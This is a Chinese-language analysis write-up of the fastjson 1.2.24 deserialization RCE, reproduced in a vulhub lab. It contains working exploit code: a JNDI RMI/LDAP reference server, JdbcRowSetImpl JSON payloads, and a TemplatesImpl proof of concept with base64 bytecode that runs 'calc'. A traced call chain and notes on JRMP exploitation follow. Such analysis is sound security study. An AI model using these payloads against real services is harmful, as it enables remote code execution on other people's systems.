fastjson 1.2.24反序列化导致任意命令执行漏洞分析记录

环境搭建：

漏洞影响版本：

fastjson在1.2.24以及之前版本存在远程代码执行高危安全漏洞

环境地址：

https://github.com/vulhub/vulhub/tree/master/fastjson/vuln

正常访问页面返回hello,world~

此时抓包修改content-type为json格式，并post payload，即可执行rce

此时就能够创建success文件

漏洞复现（rmi+ldap）：

RMI:

package person.server;
import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;


public class JNDIServer {
    public static void start() throws
            AlreadyBoundException, RemoteException, NamingException {
        Registry registry = LocateRegistry.createRegistry(1099); //rmi服务器绑定1099端口
        Reference reference = new Reference("Exploit",
                "Exploit","http://127.0.0.1:8080/");  //请求本地8080端口
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("Exploit",referenceWrapper); //绑定工厂类，即rmi将去本地web目录下去找Exploit.class

    }
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        start();
    }
}

比如此时先本地起一个rmi服务器

exp:

package person;

import com.alibaba.fastjson.JSON;

public class JdbcRowSetImplPoc {
    public static void main(String[] argv){
        testJdbcRowSetImpl();
    }
    public static void testJdbcRowSetImpl(){
             
       String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\"," +
                " \"autoCommit\":true}";
        JSON.parse(payload);
    }

}

然后指定rmi的地址，触发payload解析，从而calc，其中Exploit.class不要带包名,

这里java版本用的是1.8.0,用1.8.0_202中要设置trustCodebase选项，也就是做了一定的限制，直接从外部加载类的话是不被允许的

用mashalsec起rmi服务：

此时也能够calc

ldap:

用marshalsec在本地起一个ldap服务，然后将Exploit.class放到启动的当前目录下

然后本地先测试一下1.8.0版本的jdk能否直接从ldap加载exploit.class

    public static void testLdap(){
        String url = "ldap://127.0.0.1:1389";
        Hashtable env = new Hashtable();
        env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.ldap.LdapCtxFactory");
        env.put(Context.PROVIDER_URL, url);
        try{
            DirContext dirContext = new InitialDirContext(env);
            System.out.println("connected");
            System.out.println(dirContext.getEnvironment());
            Reference e = (Reference) dirContext.lookup("e");

        }catch(NameNotFoundException ex){
            ex.printStackTrace();
        }catch(Exception e){
            e.printStackTrace();
        }
    }

exp:

public class JdbcRowSetImplPoc {
    public static void main(String[] argv){
        testJdbcRowSetImpl();
    }
    public static void testJdbcRowSetImpl(){
                String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1389/Exploit\"," +
                " \"autoCommit\":true}";
        JSON.parse(payload);
    }

}

直接通过ldap加载没问题，可以calc

前置知识：

研究这个漏洞之前，先熟悉一下阿里的这个fastjson库的基本用法

package main.java;

import java.util.HashMap;
import java.util.Map;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.serializer.SerializerFeature;
import main.java.user;
public class test_fast_json {


    public static  void  main(String[] args){
        Map<String,Object> map = new HashMap<String, Object>();
        map.put("key1","one");
        map.put("key2","two");
        //System.out.println(map.getClass());
        String mapjson = JSON.toJSONString(map);
        System.out.println(mapjson.getClass());
        user user1 = new user ();
        user1.setName("111");
        System.out.println(JSON.toJSONString(user1));

        String serializedStr1 = JSON.toJSONString(user1,SerializerFeature.WriteClassName);
        System.out.println("serializedStr1="+serializedStr1);
        user user2=(user)JSON.parse(serializedStr1);
        System.out.println(user2.getName());

        Object obj = JSON.parseObject(serializedStr1);
        System.out.println(obj);
        System.out.println(obj.getClass());

        Object obj1 = JSON.parseObject(serializedStr1,Object.class);
        //user obj1 = (user) JSON.parseObject(serializedStr1,Object.class);
        user obj2 = (user)obj1;
        System.out.println(obj2.getName());
        System.out.println(obj2.getClass());

    }


}

//输出
class java.lang.String
{"age":0,"name":"111"}
serializedStr1={"@type":"main.java.user","age":0,"name":"111"}
111
{"name":"111","age":0}
class com.alibaba.fastjson.JSONObject
111
class main.java.user

这里user为定义好的一个类，实际上fastjson提供给我们的也就是将对象快速转换为可以传输的字符串，当然也提供从字符串中恢复出对象，也就是一个序列化和反序列化的过程，

可以从输出看到，JSON.toJSONstring实际上是将类的属性值转化为字符串，当JSON.toJSONstring带有writeclassname时此时字符串中将包含类名称及其包名称，所以此时可以定位到某个类以及其实例化对象的属性值，再通过JSON.parse()函数即可通过fastjson序列化后的字符串恢复该类的对象，当恢复对象时，使用JSON.parseObject带有Object.class时，此时能够成功恢复出类的对象，否则只能恢复到JsonObject对象

如何拿到要反序列化的所有的get方法：

Util.buildBeanInfo中，首先fastjson会根据要反序列化的类拿到所有的filed成员变量，然后再通过反射拿到该类的所有method，然后设置一系列过滤方法选择要调用的getter和seeter

漏洞分析：

这个漏洞利用方式有好种，这篇文章主要分析利用templatesImlp这个类，这个类中有一个_bytecodes字段，部分函数能够根据这个字段来生成类的实例，那么这个类的构造函数是我们可控的，就能够rce

test.java

package person;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Test extends AbstractTranslet {
    public Test() throws IOException {
        Runtime.getRuntime().exec("calc");
    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
    }

    @Override
    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {

    }
   
}

test.java在这里的话主要是用户parseObject json反序列化时所要还原的类，因为在这会实例化该类，因此直接在其构造方法中calc即可

poc.java

package person;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.io.IOUtils;
import org.apache.commons.codec.binary.Base64;

import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;


public class Poc {

    public static String readClass(String cls){
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        try {
            IOUtils.copy(new FileInputStream(new File(cls)), bos); //将test.class字节码文件转存到字节数粗输出流中
        } catch (IOException e) {
            e.printStackTrace();
        }
        return Base64.encodeBase64String(bos.toByteArray()); 

    }

    public static void  test_autoTypeDeny() throws Exception {
        ParserConfig config = new ParserConfig();
        final String fileSeparator = System.getProperty("file.separator");
        final String evilClassPath = System.getProperty("user.dir") + "\\target\\classes\\person\\Test.class";
        String evilCode = readClass(evilClassPath);
        final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; //autotype时反序列化的类
        String text1 = "{\"@type\":\"" + NASTY_CLASS +
                "\",\"_bytecodes\":[\""+evilCode+"\"]," +    //将evilcode放在_bytecodes处
                "'_name':'a.b'," +
                "'_tfactory':{ }," +
                "\"_outputProperties\":{ }}\n";
        System.out.println(text1);
        //String personStr = "{'name':"+text1+",'age':19}";
        //Person obj = JSON.parseObject(personStr, Person.class, config, Feature.SupportNonPublicField);
        Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField); //pareseObject来反序列化，此时要设置SupportNonPublicField


public static void main(String args[]){ try { test_autoTypeDeny(); } catch (Exception e) { e.printStackTrace(); } } }

我们已经知道在反序列化解析json字符串时在parseobject时触发

{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADEALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQANTHBlcnNvbi9UZXN0OwEACkV4Y2VwdGlvbnMHACUBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHACYBAApTb3VyY2VGaWxlAQAJVGVzdC5qYXZhDAAHAAgHACcMACgAKQEABGNhbGMMACoAKwEAC3BlcnNvbi9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAAEAAAgABAAAADiq3AAG4AAISA7YABFexAAAAAgAKAAAADgADAAAADwAEABAADQARAAsAAAAMAAEAAAAOAAwADQAAAA4AAAAEAAEADwABABAAEQABAAkAAABJAAAABAAAAAGxAAAAAgAKAAAABgABAAAAFQALAAAAKgAEAAAAAQAMAA0AAAAAAAEAEgATAAEAAAABABQAFQACAAAAAQAWABcAAwABABAAGAACAAkAAAA/AAAAAwAAAAGxAAAAAgAKAAAABgABAAAAGgALAAAAIAADAAAAAQAMAA0AAAAAAAEAEgATAAEAAAABABkAGgACAA4AAAAEAAEAGwABABwAAAACAB0="],'_name':'a.b','_tfactory':{ },"_outputProperties":{ }}

在此下断点，运行poc.java

此时首先调用com/alibaba/fastjson/JSON.java的parseObject函数来处理我们传入的payload

此时判断我们传入的features是否为null，这里

我们已经制定了支持非publicfield属性，因为使用的_bytescode实际为非public的，否则无法反序列化，接着调用defaultJsonParser来进一步处理payload

此时进一步调用javaObjectDeserializer，也就是反序列化时所使用的反序列化引擎，继续跟进

此时在javaObjectDeserializer的deserialze函数中将判断type的类型是不是泛型数组类型的实例以及判断type是不是类类型的实例,这里两处不满足，所以调用parse.parse来解析

实际上此时又回到了

并且在此调用parseObject函数来处理我们的payload

接下来一部分就是语法解析，先匹配出了其中的双引号"，

比如先在parseObject函数中匹配出了@type

匹配出@type标志以后，将会继续向后扫描json字符串，即取匹配相应的值，这个值也就是我们想要反序列化的类

继续往下走，将调用deserializer.deserialze函数来处理反序列化数据，此时deserializer中已经包含了要实例化的templatesimpl类，

跟进此函数，则可以看到此时token为16并且text为我们的payload

接下来会调用parseField函数来对json字符串中的一些key值进行匹配

这个方法里面会调用smartmatch来对key值进行一些处理，比如将_bytecodes的下划线删除

当处理到_outputProperties字段时，步入其smartMatch方法

此时在FieldDeserializer中将会调用setValue方，此时将会在其中调用getOutputProperties()方法，因为存在OutputProperties属性

此时在TemplatesImpl类的getOutputProperties函数中将会调用newTransformer().getOutputProperties函数，在newTransformer函数中又调用了getTransletInstance()函数，

这里首先判断_name字段不能为空，这也是为啥payload里面会设置一个_name字段

接下来就会调用newInstance()函数来实例化对象了，可以看到此事要求实例化的对象时AbstractTranslet类的，那么只需要让我们的payload中的类继承自该类即可，

可以看到此时_transletIndex为零，因此此时实例化的就是我们构造的恶意类，

缩减后的整个调用链即为：

JSON.parseObject
...
JavaBeanDeserializer.deserialze
...
FieldDeserializer.setValue
...
TemplatesImpl.getOutputProperties
TemplatesImpl.newTransformer
TemplatesImpl.getTransletInstance
...
Runtime.getRuntime().exec

JdbcRowImpl为什么不能打JRMP？

这条链最后的sink点是：

理论上jdni最终的触发点是IntialContext.lookup()，其中jdni支持动态协议转换，从而可以使用rmi和ldap来加载远程工厂类来进行rce，那么还有一种即利用rmi+jrmp的方式，服务端起JRMPListener，客户端lookup使用rmi并且客户端本地有可用的gadget，那么这种情况也可以进行rce，不过对于异常捕获模块是有要求的，比如Fastjson这个，最终lookup时产生错误，在RemoteException这里捕获到错误

这里虽然是remoteException，但是对于jndi这里throw出来的是NamingException，在测试代码里捕获Exception，这里var3实际还是NamingException，其rootexception是UnexceptedException，其detial就是badattri

根据这个输出结果来看的话，应该是内部调用了RemoteException的getmessage(但还是没找到在哪里显式调用过)

跟进看一下RemoteException的getmessage函数，这里会判断detail是否为空，不为空则输出detail.tostring

而此时var5的detail存储的是badAttributeValueExpException，其tostring是：

其对应的val就是tiedMapEntry，并且由最终的报错确定肯定是调用了badAtttri的tostring，即构造yso所需要的结构

因此这里只有调用var5的tostring才能够间接导致jrmp listener返回的序列化payload在客户端进行反序列化，这里实际是间接的反序列化，即最后通过tostring间接触发。

这里最直接的就是直接输出NameingException这个异常对象，如果jdbcRowImpl的datasource最终throw的异常包含catch的对象，则jrmp就能打，跟踪了几条fj的链，到InitialContext.lookup这里，如果throw的异常包含catch的对象，jrmp和rmirefserver都可以打，从而calc。测i是这里如果getmessage的话则输出为null，没法calc，jrmp相对于refserver来说，jrmp利用的是反序列化，而refserver利用的是defineclass恶意工厂类，jrmp还需要本地有cc这种类似的链，实战的话还是refserver更好。